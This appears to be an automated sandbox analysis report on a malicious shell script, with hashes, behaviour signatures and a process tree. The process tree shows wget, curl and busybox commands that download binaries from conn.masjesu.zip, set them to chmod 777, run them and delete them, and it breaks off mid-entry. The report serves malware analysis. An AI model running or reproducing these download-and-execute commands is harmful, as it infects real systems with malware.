Analysis
-
max time kernel
69s -
max time network
71s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240418-en -
resource tags
arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
21/11/2024, 08:31
Static task
static1
Behavioral task
behavioral1
Sample
cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446.sh
Resource
debian9-mipsel-20240418-en
General
-
Target
cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446.sh
-
Size
10KB
-
MD5
adde5a6a03a737c7793c75dfe510b0fd
-
SHA1
a134f05a5c12be4898be3c500cc2c7bb8953af7a
-
SHA256
cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446
-
SHA512
f98bc88c3067df5a7c45af7fba52a32ad5238e8c34a21629a6f9f030faf527d0682ba152b2ab1a6034b9a5e72e45f11571ea11b9aa7c6a904fb79816e0ce6f01
-
SSDEEP
96:YDfWUrHHlznz7zYLeOpLddJFLSmPh04HoyKlC2mg0X1VQLqiq6qIFxhIEx59595m:Z2u9RFvxQLnnEtDmdnnEtDDMtK
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 735 chmod 883 chmod 932 chmod 953 chmod 918 chmod 946 chmod 974 chmod 1002 chmod 801 chmod 869 chmod 876 chmod 925 chmod 781 chmod 812 chmod 852 chmod 897 chmod 904 chmod 911 chmod 988 chmod 845 chmod 967 chmod 981 chmod 859 chmod 939 chmod 995 chmod 744 chmod 890 chmod 960 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls 736 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs 745 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs 782 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G 802 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb 814 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe 846 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm 853 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 860 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc 870 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD 877 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn 884 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 891 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z 898 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ 905 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm 912 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 919 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn 926 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 933 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z 940 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ 947 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc 954 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD 961 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs 968 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs 975 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G 982 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls 989 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb 996 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe 1003 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 64 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 893 wget 943 curl 999 curl 738 wget 776 busybox 809 busybox 910 busybox 732 busybox 862 wget 863 curl 880 curl 914 wget 928 wget 959 busybox 977 wget 722 curl 978 curl 936 curl 933 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 818 wget 826 curl 851 busybox 875 busybox 905 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ 942 wget 970 wget 741 busybox 886 wget 938 busybox 966 busybox 987 busybox 865 busybox 872 wget 891 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM 892 rm 894 curl 906 rm 945 busybox 947 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ 787 wget 992 curl 924 busybox 931 busybox 973 busybox 991 wget 908 curl 834 busybox 879 wget 917 busybox 935 wget 751 wget 856 curl 929 curl 963 wget 964 curl 985 curl 739 curl 873 curl 887 curl 900 wget 903 busybox 998 wget 798 curl 949 wget -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs curl File opened for modification /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn curl File opened for modification /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 curl File opened for modification /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs curl File opened for modification /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM curl File opened for modification /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z curl File opened for modification /tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn curl File opened for modification /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ curl File opened for modification /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb curl File opened for modification /tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM curl File opened for modification /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs curl File opened for modification /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls curl File opened for modification /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls curl File opened for modification /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G curl File opened for modification /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb curl File opened for modification /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc curl File opened for modification /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs curl File opened for modification /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm curl File opened for modification /tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc curl File opened for modification /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G curl File opened for modification /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe curl File opened for modification /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD curl File opened for modification /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe curl File opened for modification /tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6 curl File opened for modification /tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ curl File opened for modification /tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD curl File opened for modification /tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm curl File opened for modification /tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z curl
Processes
-
/tmp/cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446.sh/tmp/cd161caf49770301b410c299b83eb56c7227728bb37825a7cd55e7266a679446.sh1⤵PID:702
-
/bin/rm/bin/rm bins.sh2⤵PID:704
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵PID:706
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:722
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- System Network Configuration Discovery
PID:732
-
-
/bin/chmodchmod 777 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- File and Directory Permissions Modification
PID:735
-
-
/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls./1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵
- Executes dropped EXE
PID:736
-
-
/bin/rmrm 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls2⤵PID:737
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- System Network Configuration Discovery
PID:738
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:739
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- System Network Configuration Discovery
PID:741
-
-
/bin/chmodchmod 777 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- File and Directory Permissions Modification
PID:744
-
-
/tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs./tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵
- Executes dropped EXE
PID:745
-
-
/bin/rmrm tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs2⤵PID:749
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- System Network Configuration Discovery
PID:751
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:765
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- System Network Configuration Discovery
PID:776
-
-
/bin/chmodchmod 777 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- File and Directory Permissions Modification
PID:781
-
-
/tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs./B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵
- Executes dropped EXE
PID:782
-
-
/bin/rmrm B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs2⤵PID:785
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- System Network Configuration Discovery
PID:787
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:798
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵PID:800
-
-
/bin/chmodchmod 777 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- File and Directory Permissions Modification
PID:801
-
-
/tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G./ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵
- Executes dropped EXE
PID:802
-
-
/bin/rmrm ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G2⤵PID:803
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵PID:804
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:805
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- System Network Configuration Discovery
PID:809
-
-
/bin/chmodchmod 777 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- File and Directory Permissions Modification
PID:812
-
-
/tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb./zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵
- Executes dropped EXE
PID:814
-
-
/bin/rmrm zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb2⤵PID:817
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- System Network Configuration Discovery
PID:818
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:826
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- System Network Configuration Discovery
PID:834
-
-
/bin/chmodchmod 777 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- File and Directory Permissions Modification
PID:845
-
-
/tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe./p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵
- Executes dropped EXE
PID:846
-
-
/bin/rmrm p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe2⤵PID:847
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:848
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:849
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- System Network Configuration Discovery
PID:851
-
-
/bin/chmodchmod 777 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- File and Directory Permissions Modification
PID:852
-
-
/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm./UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Executes dropped EXE
PID:853
-
-
/bin/rmrm UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:854
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:855
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:856
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:858
-
-
/bin/chmodchmod 777 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- File and Directory Permissions Modification
PID:859
-
-
/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6./3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Executes dropped EXE
PID:860
-
-
/bin/rmrm 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:861
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- System Network Configuration Discovery
PID:862
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:863
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- System Network Configuration Discovery
PID:865
-
-
/bin/chmodchmod 777 nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- File and Directory Permissions Modification
PID:869
-
-
/tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc./nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵
- Executes dropped EXE
PID:870
-
-
/bin/rmrm nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc2⤵PID:871
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- System Network Configuration Discovery
PID:872
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:873
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- System Network Configuration Discovery
PID:875
-
-
/bin/chmodchmod 777 C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- File and Directory Permissions Modification
PID:876
-
-
/tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD./C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵
- Executes dropped EXE
PID:877
-
-
/bin/rmrm C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD2⤵PID:878
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- System Network Configuration Discovery
PID:879
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:880
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:882
-
-
/bin/chmodchmod 777 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- File and Directory Permissions Modification
PID:883
-
-
/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn./6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Executes dropped EXE
PID:884
-
-
/bin/rmrm 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:885
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:886
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:887
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵PID:889
-
-
/bin/chmodchmod 777 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- File and Directory Permissions Modification
PID:890
-
-
/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM./L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:891
-
-
/bin/rmrm L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:892
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- System Network Configuration Discovery
PID:893
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:894
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵PID:896
-
-
/bin/chmodchmod 777 Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- File and Directory Permissions Modification
PID:897
-
-
/tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z./Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- Executes dropped EXE
PID:898
-
-
/bin/rmrm Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵PID:899
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:900
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:901
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:903
-
-
/bin/chmodchmod 777 TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- File and Directory Permissions Modification
PID:904
-
-
/tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ./TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:905
-
-
/bin/rmrm TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ2⤵
- System Network Configuration Discovery
PID:906
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:907
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:908
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- System Network Configuration Discovery
PID:910
-
-
/bin/chmodchmod 777 UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- File and Directory Permissions Modification
PID:911
-
-
/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm./UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵
- Executes dropped EXE
PID:912
-
-
/bin/rmrm UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm2⤵PID:913
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- System Network Configuration Discovery
PID:914
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:915
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- System Network Configuration Discovery
PID:917
-
-
/bin/chmodchmod 777 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- File and Directory Permissions Modification
PID:918
-
-
/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6./3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵
- Executes dropped EXE
PID:919
-
-
/bin/rmrm 3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns62⤵PID:920
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:921
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:922
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- System Network Configuration Discovery
PID:924
-
-
/bin/chmodchmod 777 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- File and Directory Permissions Modification
PID:925
-
-
/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn./6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵
- Executes dropped EXE
PID:926
-
-
/bin/rmrm 6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn2⤵PID:927
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:928
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:929
-
-
/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- System Network Configuration Discovery
PID:931
-
-
/bin/chmodchmod 777 L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- File and Directory Permissions Modification
PID:932
-
-
/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM./L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:933
-
-
/bin/rmrm L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM2⤵PID:934
-
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- System Network Configuration Discovery
PID:935
-
-
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z2⤵
- Reads runtime system information
